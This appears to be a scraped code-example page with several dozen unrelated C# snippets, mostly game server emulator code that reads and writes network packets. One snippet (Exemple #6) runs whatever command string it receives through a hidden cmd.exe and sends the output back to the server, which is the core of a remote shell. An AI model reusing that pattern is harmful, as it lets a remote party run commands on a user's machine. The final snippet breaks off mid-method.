Exemple #1
0
 public Attack(ServerPacket pck)
     : base(pck)
 {
     this.AttackerObjectID = ReadInt();
     this.TargetObjectID = ReadInt();
     this.Flags = ReadByte();
     this.Damage = ReadInt();
     this.Position += 8;
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
     short count = ReadShort();
     this.Hits = new List<AttackInfo>(count);
     for (int i = 0; i < count; i++)
     {
         var atkInfo = new AttackInfo();
         atkInfo.TargetID = ReadInt();
         atkInfo.Damage = ReadInt();
         this.Position += 8;
         this.Hits.Add(atkInfo);
     }
     this.TargetX = ReadInt();
     this.TargetY = ReadInt();
     this.TargetZ = ReadInt();
 }
Exemple #2
0
        private void SerializeQuest(ServerPacket Message, GameClient Session, Quest Quest, string Category)
        {
            if (Message == null || Session == null)
                return;

            int AmountInCat = PlusEnvironment.GetGame().GetQuestManager().GetAmountOfQuestsInCategory(Category);
            int Number = Quest == null ? AmountInCat : Quest.Number - 1;
            int UserProgress = Quest == null ? 0 : Session.GetHabbo().GetQuestProgress(Quest.Id);

            if (Quest != null && Quest.IsCompleted(UserProgress))
                Number++;

            Message.WriteString(Category);
            Message.WriteInteger(Quest == null ? 0 : ((Quest.Category.Contains("xmas2012")) ? 0 : Number));  // Quest progress in this cat
            Message.WriteInteger(Quest == null ? 0 : (Quest.Category.Contains("xmas2012")) ? 0 : AmountInCat); // Total quests in this cat
            Message.WriteInteger(Quest == null ? 3 : Quest.RewardType);// Reward type (1 = Snowflakes, 2 = Love hearts, 3 = Pixels, 4 = Seashells, everything else is pixels
            Message.WriteInteger(Quest == null ? 0 : Quest.Id); // Quest id
            Message.WriteBoolean(Quest == null ? false : Session.GetHabbo().GetStats().QuestID == Quest.Id);  // Quest started
            Message.WriteString(Quest == null ? string.Empty : Quest.ActionName);
            Message.WriteString(Quest == null ? string.Empty : Quest.DataBit);
            Message.WriteInteger(Quest == null ? 0 : Quest.Reward);
            Message.WriteString(Quest == null ? string.Empty : Quest.Name);
            Message.WriteInteger(UserProgress); // Current progress
            Message.WriteInteger(Quest == null ? 0 : Quest.GoalData); // Target progress
            Message.WriteInteger(Quest == null ? 0 : Quest.TimeUnlock); // "Next quest available countdown" in seconds
            Message.WriteString("");
            Message.WriteString("");
            Message.WriteBoolean(true);
        }
 public ResponseCommissionList(ServerPacket pck)
     : base(pck)
 {
     this.Position += 12;
     int count = ReadInt();
     this.Position += 2;
     this.Items = new List<SellItem>(count);
     for (int i = 0; i < count; i++)
     {
         var item = new SellItem();
         this.Items.Add(item);
         this.Position += 6;
         item.Price = ReadLong();
         this.Position += 3 * 4;
         item.SellerName = ReadString();
         this.Position += 4;
         item.ItemID = ReadInt();
         item.Count = ReadInt();
         this.Position += 10;
         item.Enchant = ReadInt();
         this.Position += 4;
         this.Position += 2;
         this.Position += 5 * 4;
         this.Position += 2;
     }
 }
Exemple #4
0
 public _59(ServerPacket pck)
     : base(pck)
 {
     this.Position += 4;
     this.Str = ReadString();
     this.IntVal = ReadInt();
 }
 public NpcHtmlMessage(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.HTML = ReadString();
     this.ItemID = ReadInt();
 }
Exemple #6
0
        public static void Work(object obj)
        {
            string command = (string)obj;
            using (System.Diagnostics.Process process = new System.Diagnostics.Process())
            {
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.Arguments = "/c " + command;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.CreateNoWindow = true;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardInput = false;

                //开始进程  
                if (process.Start())
                {
                    //这里无限等待进程结束
                    process.WaitForExit();
                    //读取进程的输出
                    string output = process.StandardOutput.ReadToEnd();

                    ServerPacket serverPacket = new ServerPacket(PacketType.Telnet);
                    serverPacket.telnet = new ServerPacket.Telnet(output);
                    Server.packetStream.Send(serverPacket);
                }

            }
        }
 public TargetUnselected(ServerPacket pck)
     : base(pck)
 {
     this.TargetID = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
 }
Exemple #8
0
 public PledgeCrest(ServerPacket pck)
     : base(pck)
 {
     this.CrestID = ReadInt();
     int length = ReadInt();
     this.CrestData = new byte[length];
     Array.ConstrainedCopy(this.Data, 8, this.CrestData, 0, length);
 }
Exemple #9
0
 public NpcSay(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.TextType = ReadInt();
     this.NpcID = ReadInt();
     this.MsgType = ReadInt();
 }
Exemple #10
0
 public SetupGauge(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.Position += 4;
     this.Time1 = ReadInt();
     this.Time2 = ReadInt();
 }
Exemple #11
0
 public StopMove(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
     this.Heading = ReadInt();
 }
Exemple #12
0
 public CreatureSay(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.TextType = ReadInt();
     this.CharName = ReadString();
     this.Position += 4;
     this.Message = ReadString();
 }
Exemple #13
0
 public GetItem(ServerPacket pck)
     : base(pck)
 {
     this.PlayerID = ReadInt();
     this.ObjectID = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
 }
 public MoveToLocation(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.DestX = ReadInt();
     this.DestY = ReadInt();
     this.DestZ = ReadInt();
     this.CurX = ReadInt();
     this.CurY = ReadInt();
     this.CurZ = ReadInt();
 }
Exemple #15
0
 public PlaySound(ServerPacket pck)
     : base(pck)
 {
     this.Type = ReadInt();
     this.SoundFile = ReadString();
     this.HasCenterObject = ReadInt();
     this.ObjectID = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
 }
Exemple #16
0
 public DropItem(ServerPacket pck)
     : base(pck)
 {
     this.PlayerID = ReadInt();
     this.ObjectID = ReadInt();
     this.ItemID = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
     this.Stackable = ReadInt() == 1;
     this.Count = ReadLong();
 }
Exemple #17
0
 public FlyToLocation(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.ToX = ReadInt();
     this.ToY = ReadInt();
     this.ToZ = ReadInt();
     this.OriX = ReadInt();
     this.OriY = ReadInt();
     this.OriZ = ReadInt();
     this.FlyType = ReadInt();
 }
Exemple #18
0
 public MoveToPawn(ServerPacket pck)
     : base(pck)
 {
     this.CharID = ReadInt();
     this.TargetID = ReadInt();
     this.Distance = ReadInt();
     this.X = ReadInt();
     this.Y = ReadInt();
     this.Z = ReadInt();
     this.TargetX = ReadInt();
     this.TargetY = ReadInt();
     this.TargetZ = ReadInt();
 }
 public EtcStatusUpdate(ServerPacket pck)
     : base(pck)
 {
     this.Charges = ReadInt();
     this.WeightPenalty = ReadInt();
     this.ChatBanned = ReadInt();
     this.DangerArea = ReadInt();
     this.ExpertiseWeapPenalty = ReadInt();
     this.ExpertArmorPenalty = ReadInt();
     this.CharmOfCourage = ReadInt();
     this.DeathPenaltyLevel = ReadInt();
     this.Souls = ReadInt();
 }
Exemple #20
0
 public StatusUpdate(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.Position += 8;
     int count = ReadInt();
     this.Attributes = new List<AttributeInfo>(count);
     for (int i = 0; i < count; i++)
         this.Attributes.Add(new AttributeInfo
         {
             Attribute = (Attribute)ReadInt(),
             Value = ReadInt()
         });
 }
Exemple #21
0
 public QuestList(ServerPacket pck)
     : base(pck)
 {
     short count = ReadShort();
     this.Quests = new List<Quest>(count);
     for (int i = 0; i < count; i++)
     {
         var quest = new Quest();
         quest.QuestID = ReadInt();
         quest.Status = ReadInt();
         this.Quests.Add(quest);
     }
     // 128 bytes after
 }
Exemple #22
0
 public StaticObject(ServerPacket pck)
     : base(pck)
 {
     this.StaticObjectID = ReadInt();
     this.ObjectID = ReadInt();
     this.Type = ReadInt();
     this.IsTargetable = ReadInt();
     this.MeshIndex = ReadInt();
     this.IsClosed = ReadInt();
     this.IsEnemy = ReadInt();
     this.CurHP = ReadInt();
     this.MaxHP = ReadInt();
     this.ShowHP = ReadInt();
     this.DamageGrade = ReadInt();
 }
 public PartyMemberPosition(ServerPacket pck)
     : base(pck)
 {
     int count = ReadInt();
     Members = new List<Member>(count);
     for (int i = 0; i < count; i++)
     {
         var member = new Member();
         member.ObjectID = ReadInt();
         member.X = ReadInt();
         member.Y = ReadInt();
         member.Y = ReadInt();
         Members.Add(member);
     }
 }
Exemple #24
0
 public SkillList(ServerPacket pck)
     : base(pck)
 {
     int count = ReadInt();
     this.Skills = new List<SkillInfo>(count);
     for (int i = 0; i < count; i++)
     {
         var info = new SkillInfo();
         info.Passive = ReadInt();
         info.Level = ReadInt();
         info.SkillID = ReadInt();
         this.Position += 4;
         info.IsDisabled = ReadByte();
         info.CanEnchant = ReadByte();
         this.Skills.Add(info);
     }
 }
Exemple #25
0
 public AgitDecoInfo(ServerPacket pck)
     : base(pck)
 {
     this.ClanHallID = ReadInt();
     this.HPRecovery = ReadByte();
     this.MPRecovery = ReadByte();
     this.Position++;
     this.ExpRecovery = ReadByte();
     this.Teleport = ReadByte();
     this.Position++;
     this.Curtains = ReadByte();
     this.Position++;
     this.Support = ReadByte();
     this.Position++;
     this.Platform = ReadByte();
     this.ItemCreate = ReadByte();
 }
Exemple #26
0
 public FriendList(ServerPacket pck)
     : base(pck)
 {
     int count = ReadInt();
     Friends = new List<Friend>(count);
     for (int i = 0; i < count; i++)
     {
         var friend = new Friend();
         friend.FriendID = ReadInt();
         friend.Name = ReadString();
         friend.Online = ReadInt();
         friend.ObjectID = ReadInt();
         friend.Level = ReadInt();
         friend.ClassID = ReadInt();
         short hz3 = ReadShort();
         Friends.Add(friend);
     }
 }
Exemple #27
0
    /// <summary>
    /// Atomically update the byte-based heartbeat values for the 0x3B packet and then
    /// queue for transmission to the client. This transmission is aborted if the client hasn't
    /// been alive more than BYTE_HEARTBEAT_INTERVAL seconds.
    /// If we don't receive a response to the 0x3B heartbeat within REAP_HEARTBEAT_INTERVAL
    /// the client is automatically disconnected.
    /// </summary>
    public void SendByteHeartbeat()
    {
        var aliveSince = new TimeSpan(DateTime.Now.Ticks - ConnectedSince);

        if (aliveSince.TotalSeconds < Constants.BYTE_HEARTBEAT_INTERVAL)
        {
            return;
        }
        var byteHeartbeat = new ServerPacket(0x3b);
        var a             = Random.Shared.Next(254);
        var b             = Random.Shared.Next(254);

        Interlocked.Exchange(ref _heartbeatA, a);
        Interlocked.Exchange(ref _heartbeatB, b);
        byteHeartbeat.WriteByte((byte)a);
        byteHeartbeat.WriteByte((byte)b);
        Enqueue(byteHeartbeat);
        Interlocked.Exchange(ref _byteHeartbeatSent, DateTime.Now.Ticks);
    }
        public ServerPacket Compose()
        {
            ServerPacket message = new ServerPacket(Outgoing.CraftableProductsMessageComposer);

            message.WriteInteger(this.recipes.Count);
            this.recipes.ForEach(recipe =>
            {
                message.WriteString(recipe.Reward.Name);
                message.WriteString(recipe.Reward.Name);
            });

            message.WriteInteger(this.ingredients.Count);
            this.ingredients.ForEach(ingredient =>
            {
                message.WriteString(ingredient);
            });

            return(message);
        }
        static void OnMovement(WorldClient client, CMSG msgID, BinReader data)
        {
            if (client.Player.MapTile == null)
            {
                return;
            }
            client.Player.StandState = UNITSTANDSTATE.STANDING;             // If sleeping set standstate to standing...
            long pos = data.BaseStream.Position;

            if (data.Length() >= 60)             // obj size and pkt size unfortunately
            {
                data.BaseStream.Position += 8;   // skipping Guid and Guid_High (added for 1.3.1)
            }
            client.Player.MovementFlags = data.ReadUInt32();
            int unknown1 = data.ReadInt32();             // time tick

            client.Player.Position = data.ReadVector();
            client.Player.Facing   = data.ReadSingle();
            int unknown2 = data.ReadInt32();             // new field for 1.3.1 also found in the A9 (map id?)

            data.BaseStream.Position = pos;
            ServerPacket pkg;

            if (client.Player.MapTile.Map.SetObjectPositionInBounds(client.Player))
            {
                client.Player.MapTile.Map.Move(client.Player);
                pkg = new ServerPacket(SMSG.MONSTER_MOVE);
                pkg.Write(client.Player.GUID);
                pkg.WriteVector(client.Player.Position);
                pkg.Write(client.Player.Facing);
                pkg.Write((byte)0x01);
                pkg.Finish();
                client.Player.MapTile.SendSurrounding(pkg);
                return;
            }

            client.Player.MapTile.Map.Move(client.Player);
            pkg = new ServerPacket((SMSG)msgID);
            pkg.Write(client.Player.GUID);
            pkg.Write(data.ReadBytes((int)(data.BaseStream.Length - data.BaseStream.Position)));
            pkg.Finish();
            client.Player.MapTile.SendSurrounding(pkg, client.Player);
        }
Exemple #30
0
        public override void Compose(ServerPacket packet)
        {
            //TODO: HMU here too, if you want saved searches to be fixed
            packet.WriteInteger(TopLevelItems.Count); //Count
            foreach (TopLevelItem topLevelItem in TopLevelItems.ToList())
            {
                //TopLevelContext
                packet.WriteString(topLevelItem.SearchCode); //Search code
                packet.WriteInteger(0);                      //Count of saved searches?

                /*{
                 *  //SavedSearch
                 * packet.WriteInteger(TopLevelItem.Id);//Id
                 * packet.WriteString(TopLevelItem.SearchCode);//Search code
                 * packet.WriteString(TopLevelItem.Filter);//Filter
                 * packet.WriteString(TopLevelItem.Localization);//localization
                 * }*/
            }
        }
Exemple #31
0
        /// <summary>
        /// When overridden in the derived class, allows for additional handling of the
        /// <see cref="QuestPerformerStatusHelper{TCharacter}.QuestFinished"/> event without creating an event hook.
        /// </summary>
        /// <param name="quest">The quest that was finished.</param>
        protected override void OnQuestFinished(IQuest <User> quest)
        {
            base.OnQuestFinished(quest);

            using (var pw = ServerPacket.QuestInfo(x => UserQuestInformation.WriteRemoveActiveQuest(x, quest.QuestID)))
            {
                Owner.Send(pw, ServerMessageType.GUI);
            }

            using (var pw = ServerPacket.QuestInfo(x => UserQuestInformation.WriteAddCompletedQuest(x, quest.QuestID)))
            {
                Owner.Send(pw, ServerMessageType.GUI);
            }

            Owner.Send(GameMessage.QuestFinished, ServerMessageType.GUI);

            _worldStats.AddQuestComplete(Owner, quest.QuestID);
            EventCounterManager.Quest.Increment(quest.QuestID, QuestEventCounterType.Completed);
        }
Exemple #32
0
        static object[] GetProfile(ServerPacket header, string username)
        {
            List <object> profile = new List <object> {
                (byte)header
            };

            MySqlCommand q = new MySqlCommand("SELECT * FROM users WHERE Username=@Username;", SQL);

            q.Parameters.AddWithValue("@Username", username);

            MySqlDataReader r       = q.ExecuteReader();
            bool            success = r.Read();

            if (success)
            {
                string link   = r.GetString("ProfileLink");
                int    points = r.GetInt32("Points");
                byte   rank   = r.GetByte("Rank");
                string bio    = r.GetString("Bio");
                string avatar = r.GetString("Avatar");

                UserState state = new UserState()
                {
                    Points = points,
                    Rank   = rank
                };

                state.AddPoints(0);

                profile.AddRange(new object[] { username, link, rank, bio, avatar, state.Percentage });

                r.Close();
                r.Dispose();
            }
            else
            {
                profile.AddRange(new object[] { username, "", 0, "", "", 0 });
                r.Close();
                r.Dispose();
            }

            return(profile.ToArray());
        }
Exemple #33
0
    private void PacketHandler_0x57_ServerTable(Client client, ClientPacket packet)
    {
        var mismatch = packet.ReadByte();

        if (mismatch == 1)
        {
            var x56 = new ServerPacket(0x56);
            x56.WriteUInt16((ushort)Game.ServerTable.Length);
            x56.Write(Game.ServerTable);
            GameLog.InfoFormat("ServerTable: Sent: {0}", BitConverter.ToString(x56.ToArray()));
            client.Enqueue(x56);
        }
        else
        {
            var server   = packet.ReadByte();
            var redirect = new Redirect(client, this, Game.Login, "socket", client.EncryptionSeed, client.EncryptionKey);
            client.Redirect(redirect);
        }
    }
Exemple #34
0
        public void OnTrigger(GameClient Session, int SpriteId)
        {
            ServerPacket Message = new ServerPacket(ServerPacketHeader.WiredEffectConfigMessageComposer);

            Message.WriteBoolean(false);
            Message.WriteInteger(0);
            Message.WriteInteger(0);
            Message.WriteInteger(SpriteId);
            Message.WriteInteger(this.itemID);
            Message.WriteString("");
            Message.WriteInteger(1);
            Message.WriteInteger((int)this.team);
            Message.WriteInteger(0);
            Message.WriteInteger(9);
            Message.WriteInteger(0);
            Message.WriteInteger(0);

            Session.SendPacket(Message);
        }
        public void PositionReset(Item pItem, int x, int y, double z)
        {
            ServerPacket serverMessage = new ServerPacket(ServerPacketHeader.SlideObjectBundleMessageComposer);

            serverMessage.WriteInteger(pItem.GetX);
            serverMessage.WriteInteger(pItem.GetY);
            serverMessage.WriteInteger(x);
            serverMessage.WriteInteger(y);

            serverMessage.WriteInteger(1); //Count user or item on roller
            serverMessage.WriteInteger(pItem.Id);
            serverMessage.WriteString(TextHandling.GetString(pItem.GetZ));
            serverMessage.WriteString(TextHandling.GetString(z));

            serverMessage.WriteInteger(0);
            this.GetRoom.SendPacket(serverMessage);

            this.SetFloorItem(pItem, x, y, z);
        }
Exemple #36
0
        public override void Compose(ServerPacket packet)
        {
            foreach (TradeUser user in Trade.Users.ToList())
            {
                packet.WriteInteger(user.RoomUser.UserId);
                packet.WriteInteger(user.OfferedItems.Count);

                foreach (Item item in user.OfferedItems.Values)
                {
                    packet.WriteInteger(item.Id);
                    packet.WriteString(item.GetBaseItem().Type.ToString().ToLower());
                    packet.WriteInteger(item.Id);
                    packet.WriteInteger(item.Data.SpriteId);
                    packet.WriteInteger(0);//Not sure.
                    if (item.LimitedNo > 0)
                    {
                        packet.WriteBoolean(false);//Stackable
                        packet.WriteInteger(256);
                        packet.WriteString("");
                        packet.WriteInteger(item.LimitedNo);
                        packet.WriteInteger(item.LimitedTot);
                    }
                    else
                    {
                        packet.WriteBoolean(true);//Stackable
                        packet.WriteInteger(0);
                        packet.WriteString("");
                    }

                    packet.WriteInteger(0);
                    packet.WriteInteger(0);
                    packet.WriteInteger(0);

                    if (item.GetBaseItem().Type == 's')
                    {
                        packet.WriteInteger(0);
                    }
                }

                packet.WriteInteger(user.OfferedItems.Count);//Item Count
                packet.WriteInteger(user.OfferedItems.Values.Where(x => x.Data.InteractionType == InteractionType.EXCHANGE).Sum(t => t.Data.BehaviourData));
            }
        }
Exemple #37
0
        public override void Compose(ServerPacket packet)
        {
            packet.WriteInteger(Data.Id);
            packet.WriteInteger(Data.UsersNow);
            packet.WriteBoolean(OwnerInRoom); // owner in room
            packet.WriteInteger(Data.OwnerId);
            packet.WriteString(Data.OwnerName);
            packet.WriteBoolean(Data != null);
            packet.WriteString(Data.Name);
            packet.WriteString(Data.Description);

            packet.WriteInteger(Data.Tags.Count);
            foreach (string Tag in Data.Tags)
            {
                packet.WriteString(Tag);
            }

            packet.WriteBoolean(false);
        }
Exemple #38
0
        public void QuizzAlert(ServerPacket Message, Item Item, Room room, int Exclude = 0)
        {
            foreach (RoomUser RoomUser in room.GetRoomUserManager().GetRoomUsers())
            {
                if (RoomUser == null || RoomUser.GetClient().GetHabbo() == null)
                {
                    continue;
                }

                RoomUser Human = room.GetRoomUserManager().GetRoomUserByHabbo(RoomUser.GetClient().GetHabbo().Id);

                if (Human.X != Item.GetX && Human.Y != Item.GetY || RoomUser.GetClient().GetHabbo().Id == Exclude)
                {
                    continue;
                }

                RoomUser.GetClient().SendMessage(Message);
            }
        }
    // 如果是單機版會在這裏做更新
    public void Update()
    {
        if (m_QueuePacket.Count == 0)
        {
            return;
        }
        // 做 Server 更新和資料 (一次只做一個封包)
        ServerPacket sp = m_QueuePacket[0];

        m_QueuePacket.RemoveAt(0);
        // 取得資料做處理
        Dictionary <string, object> dictResult = DynamicCallGameServer(sp.m_MethodName, sp.m_Args);

        // 做處理的動作
#if CLIENT
        ServerAPI.PostResultToClient(sp, dictResult);
#endif
        ServerAPI.Update();
    }
        public ServerPacket TeleportUser(RoomUser pUser, Point pNextCoord, int pRollerID, double NextZ)
        {
            ServerPacket serverMessage = new ServerPacket(ServerPacketHeader.SlideObjectBundleMessageComposer);

            serverMessage.WriteInteger(pUser.X);
            serverMessage.WriteInteger(pUser.Y);
            serverMessage.WriteInteger(pNextCoord.X);
            serverMessage.WriteInteger(pNextCoord.Y);
            serverMessage.WriteInteger(0);
            serverMessage.WriteInteger(pRollerID);
            serverMessage.WriteInteger(2);
            serverMessage.WriteInteger(pUser.VirtualId);
            serverMessage.WriteString(TextHandling.GetString(pUser.Z));
            serverMessage.WriteString(TextHandling.GetString(NextZ));

            pUser.SetPos(pNextCoord.X, pNextCoord.Y, NextZ);

            return(serverMessage);
        }
Exemple #41
0
 public override void Compose(ServerPacket packet)
 {
     if (BotData == null)
     {
         packet.WriteInteger((Self) ? -1 : VirtualId);
         packet.WriteString(User.GetClient().GetHabbo().Look);
         packet.WriteString(User.GetClient().GetHabbo().Gender);
         packet.WriteString(User.GetClient().GetHabbo().Motto);
         packet.WriteInteger(User.GetClient().GetHabbo().GetStats().AchievementPoints);
     }
     else
     {
         packet.WriteInteger(VirtualId);
         packet.WriteString(BotData.Look);
         packet.WriteString(BotData.Gender);
         packet.WriteString(BotData.Motto);
         packet.WriteInteger(0);
     }
 }
Exemple #42
0
        public void Parse(GameClient Session, ClientPacket Packet)
        {
            ServerPacket Response = new ServerPacket(ServerPacketHeader.GiftWrappingConfigurationMessageComposer);

            Response.WriteBoolean(true);
            Response.WriteInteger(1);

            Response.WriteInteger(9);
            for (int i = 3372; i < 3381; ++i)
            {
                Response.WriteInteger(i);
            }

            Response.WriteInteger(8);
            Response.WriteInteger(0);
            Response.WriteInteger(1);
            Response.WriteInteger(2);
            Response.WriteInteger(3);
            Response.WriteInteger(4);
            Response.WriteInteger(5);
            Response.WriteInteger(6);
            Response.WriteInteger(8);
            Response.WriteInteger(11);
            Response.WriteInteger(0);
            Response.WriteInteger(1);
            Response.WriteInteger(2);
            Response.WriteInteger(3);
            Response.WriteInteger(4);
            Response.WriteInteger(5);
            Response.WriteInteger(6);
            Response.WriteInteger(7);
            Response.WriteInteger(8);
            Response.WriteInteger(9);
            Response.WriteInteger(10);

            Response.WriteInteger(7);
            for (int i = 187; i < 194; ++i)
            {
                Response.WriteInteger(i);
            }

            Session.SendPacket(Response);
        }
Exemple #43
0
        private void WriteWallItem(Item Item, int UserId, ServerPacket packet)
        {
            packet.WriteString(Item.Id.ToString());
            packet.WriteInteger(Item.GetBaseItem().SpriteId);
            packet.WriteString(Item.wallCoord);
            switch (Item.GetBaseItem().InteractionType)
            {
            case InteractionType.POSTIT:
                packet.WriteString(Item.ExtraData.Split(' ')[0]);
                break;

            default:
                packet.WriteString(Item.ExtraData);
                break;
            }
            packet.WriteInteger(-1);
            packet.WriteInteger((Item.GetBaseItem().Modes > 1) ? 1 : 0);
            packet.WriteInteger(UserId);
        }
        public Task HandleAsync(INetworkClient client, ServerPacket packet)
        {
            this.logger.LogDebug("Connection List Packet Received");

            var allConnections = server.AllConnections();
            var header         = UTF8Encoding.UTF8.GetBytes("=+ Connection List #" + allConnections.Count + System.Environment.NewLine);

            client.Send(header, 0, header.Length);
            foreach (var connection in allConnections)
            {
                var data = UTF8Encoding.UTF8.GetBytes(FormatConnectionRow(connection) + System.Environment.NewLine);
                client.Send(data, 0, data.Length);
            }

            var footer = UTF8Encoding.UTF8.GetBytes("=- Connection List" + System.Environment.NewLine);

            client.Send(footer, 0, footer.Length);
            return(Task.CompletedTask);
        }
Exemple #45
0
        public static ServerPacket SendBubble(string image, string message, string linkUrl = "")
        {
            ServerPacket bubbleNotification = new ServerPacket(ServerPacketHeader.RoomNotificationMessageComposer);

            bubbleNotification.WriteString(image);
            bubbleNotification.WriteInteger(string.IsNullOrEmpty(linkUrl) ? 2 : 3);
            bubbleNotification.WriteString("display");
            bubbleNotification.WriteString("BUBBLE");
            bubbleNotification.WriteString("message");
            bubbleNotification.WriteString(message);
            if (string.IsNullOrEmpty(linkUrl))
            {
                return(bubbleNotification);
            }

            bubbleNotification.WriteString("linkUrl");
            bubbleNotification.WriteString(linkUrl);
            return(bubbleNotification);
        }
        public void Send(ServerPacket pkg, Vector position, float range)
        {
            long pos = pkg.BaseStream.Position;

            foreach (MapTile tile in GetTilesInRange((int)position.X, (int)position.Y, (int)range))
            {
                foreach (PlayerObject player in tile.GetObjects(OBJECTTYPE.PLAYER))
                {
                    if (position.Distance(player.Position) < range)
                    {
                        pkg.AddDestination(player.CharacterID);
                    }
                }
            }
            if (pkg.BaseStream.Position > pos)
            {
                WorldServer.Send(pkg);
            }
        }
 public PrivateStoreListBuy(ServerPacket pck)
     : base(pck)
 {
     this.ObjectID = ReadInt();
     this.UserAdenaCount = ReadLong();
     this.UserSlotCount = ReadInt();
     int count = ReadInt();
     Items = new List<Item>(count);
     for (int i = 0; i < count; i++)
     {
         var item = new Item();
         ReadItemInfo(item);
         this.Position += 4;
         item.Price = ReadLong();
         item.StorePrice = ReadLong();
         item.Count = ReadLong();
         Items.Add(item);
     }
 }
Exemple #48
0
        public virtual bool Turn(Direction direction)
        {
            Direction = direction;

            foreach (var obj in Map.EntityTree.GetObjects(GetViewport()))
            {
                if (!(obj is User))
                {
                    continue;
                }
                var user = obj as User;
                var x11  = new ServerPacket(0x11);
                x11.WriteUInt32(Id);
                x11.WriteByte((byte)direction);
                user.Enqueue(x11);
            }

            return(true);
        }
Exemple #49
0
        static void OnSetLeader(WorldClient client, CMSG msgID, BinReader data)
        {
            string newleadername = data.ReadString();

            if (client.Player.IsLeader == false)
            {
                Chat.System(client, "Only the leader can set a new leader"); return;
            }
            if (client.Player.Group == null)
            {
                Chat.System(client, "You must be in a group"); return;
            }
            bool SetNew = false;

            for (uint i = 0; i < client.Player.Group.Size; i++)
            {
                if (client.Player.Group.Members[i].Name.ToLower() == newleadername.ToLower())
                {
                    client.Player.IsLeader = false;
                    client.Player.Group.Members[i].IsLeader = true;
                    client.Player.Group.LeaderGUID          = client.Player.Group.Members[i].GUID;
                    client.Player.Group.LootMaster          = client.Player.Group.LeaderGUID;
                    client.Player.Group.LootMasterName      = newleadername;
                    SetNew = true;
                    break;
                }
            }

            if (!SetNew)
            {
                Chat.System(client, "Invalid new leader"); return;
            }
            else
            {
                ServerPacket grp = new ServerPacket(SMSG.GROUP_SET_LEADER);
                grp.Write(newleadername);
//				grp.Write(client.Player.Group.LeaderGUID);
                client.Player.Group.SendToGroup(grp);
            }
            client.Player.Group.SendGroupList();
            return;
        }
        public ServerPacket Compose()
        {
            ServerPacket message = new ServerPacket(Outgoing.GuildPartsMessageComposer);

            message.WriteInteger(Alias.Server.GroupManager.GetBases.Count);
            Alias.Server.GroupManager.GetBases.ForEach(part =>
            {
                message.WriteInteger(part.Id);
                message.WriteString(part.AssetOne);
                message.WriteString(part.AssetTwo);
            });

            message.WriteInteger(Alias.Server.GroupManager.GetSymbols.Count);
            Alias.Server.GroupManager.GetSymbols.ForEach(part =>
            {
                message.WriteInteger(part.Id);
                message.WriteString(part.AssetOne);
                message.WriteString(part.AssetTwo);
            });

            message.WriteInteger(Alias.Server.GroupManager.GetBaseColours.Count);
            Alias.Server.GroupManager.GetBaseColours.ForEach(part =>
            {
                message.WriteInteger(part.Id);
                message.WriteString(part.AssetOne);
            });

            message.WriteInteger(Alias.Server.GroupManager.GetSymbolColours.Count);
            Alias.Server.GroupManager.GetSymbolColours.ForEach(part =>
            {
                message.WriteInteger(part.Id);
                message.WriteString(part.AssetOne);
            });

            message.WriteInteger(Alias.Server.GroupManager.GetBackgroundColours.Count);
            Alias.Server.GroupManager.GetBackgroundColours.ForEach(part =>
            {
                message.WriteInteger(part.Id);
                message.WriteString(part.AssetOne);
            });
            return(message);
        }
        public ServerPacket Compose()
        {
            ServerPacket message = new ServerPacket(Outgoing.GiftConfigurationMessageComposer);

            message.WriteBoolean(true);
            message.WriteInteger(10);            //?

            message.WriteInteger(0);             //wrappers
            {
                //message.WriteInteger(0); //id
            }

            message.WriteInteger(8);
            message.WriteInteger(0);
            message.WriteInteger(1);
            message.WriteInteger(2);
            message.WriteInteger(3);
            message.WriteInteger(4);
            message.WriteInteger(5);
            message.WriteInteger(6);
            message.WriteInteger(8);

            message.WriteInteger(11);
            message.WriteInteger(0);
            message.WriteInteger(1);
            message.WriteInteger(2);
            message.WriteInteger(3);
            message.WriteInteger(4);
            message.WriteInteger(5);
            message.WriteInteger(6);
            message.WriteInteger(7);
            message.WriteInteger(8);
            message.WriteInteger(9);
            message.WriteInteger(10);

            message.WriteInteger(0);             // ?
            {
                //message.WriteInteger(0); // ?
            }

            return(message);
        }
            public override void HandlePacket(LobbyClient client, ServerPacket packet)
            {
                var reader = packet.Reader;

                string realTag = reader.ReadUnicodeString(50);
                uint   accountPremium = reader.ReadUInt32();
                ulong  timeStamp = reader.ReadUInt64(), accountPermissions = reader.ReadUInt64();

                for (int i = 0; i < 5; i++)
                {
                    reader.ReadInt32();
                }

                ushort voicePortMin = reader.ReadUInt16(), voicePortMax = reader.ReadUInt16();
                uint   voiceAccountId = reader.ReadUInt32();
                string voiceUsername = reader.ReadASCIIString(17), voiceKey = reader.ReadASCIIString(17);

                RsaKeyParameters serverPub = WindowsRSA.ReadPublicKeyBlob(reader);
                string           countryCode = reader.ReadUnicodeString(), voiceURL = reader.ReadASCIIString();

                var generator = new RsaKeyPairGenerator();

                generator.Init(new KeyGenerationParameters(new SecureRandom(), 1024));
                AsymmetricCipherKeyPair clientKeyPair = generator.GenerateKeyPair();
                RsaKeyParameters        clientPub     = (RsaKeyParameters)clientKeyPair.Public;

                client.ClientDecryptEngine = new Pkcs1Encoding(new RsaEngine());
                client.ClientDecryptEngine.Init(false, clientKeyPair.Private);

                byte[] clientPubBlob = WindowsRSA.CreatePublicKeyBlob(clientPub);
                client.ServerEncryptEngine = new Pkcs1Encoding(new RsaEngine());
                client.ServerEncryptEngine.Init(true, serverPub);

